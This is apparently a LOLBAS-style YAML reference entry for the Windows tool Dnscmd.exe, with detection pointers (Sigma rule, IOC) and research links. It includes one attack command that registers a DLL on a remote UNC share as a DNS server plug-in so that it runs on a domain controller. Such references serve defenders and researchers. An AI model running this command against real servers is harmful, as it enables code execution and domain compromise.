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---
Name : Dnscmd.exe
Description : A command-line interface for managing DNS servers
Author : 'Oddvar Moe'
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Created : 2018-05-25
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Commands :
- Command : dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
Description : Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
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Usecase : Remotely inject dll to dns server
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Category : Execute
Privileges : DNS admin
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MitreID : T1543.003
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OperatingSystem : Windows server
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Tags :
- Execute : DLL
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Full_Path :
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- Path : C:\Windows\System32\Dnscmd.exe
- Path : C:\Windows\SysWOW64\Dnscmd.exe
Detection :
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- Sigma : https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml
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- IOC : Dnscmd.exe loading dll from UNC/arbitrary path
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Resources :
- Link : https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
- Link : https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
- Link : https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
- Link : https://twitter.com/Hexacorn/status/994000792628719618
- Link : http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
Acknowledgement :
- Person : Shay Ber
Handle :
- Person : Dimitrios Slamaris
Handle : '@dim0x69'
- Person : Nikhil SamratAshok
Handle : '@nikhil_mitt'
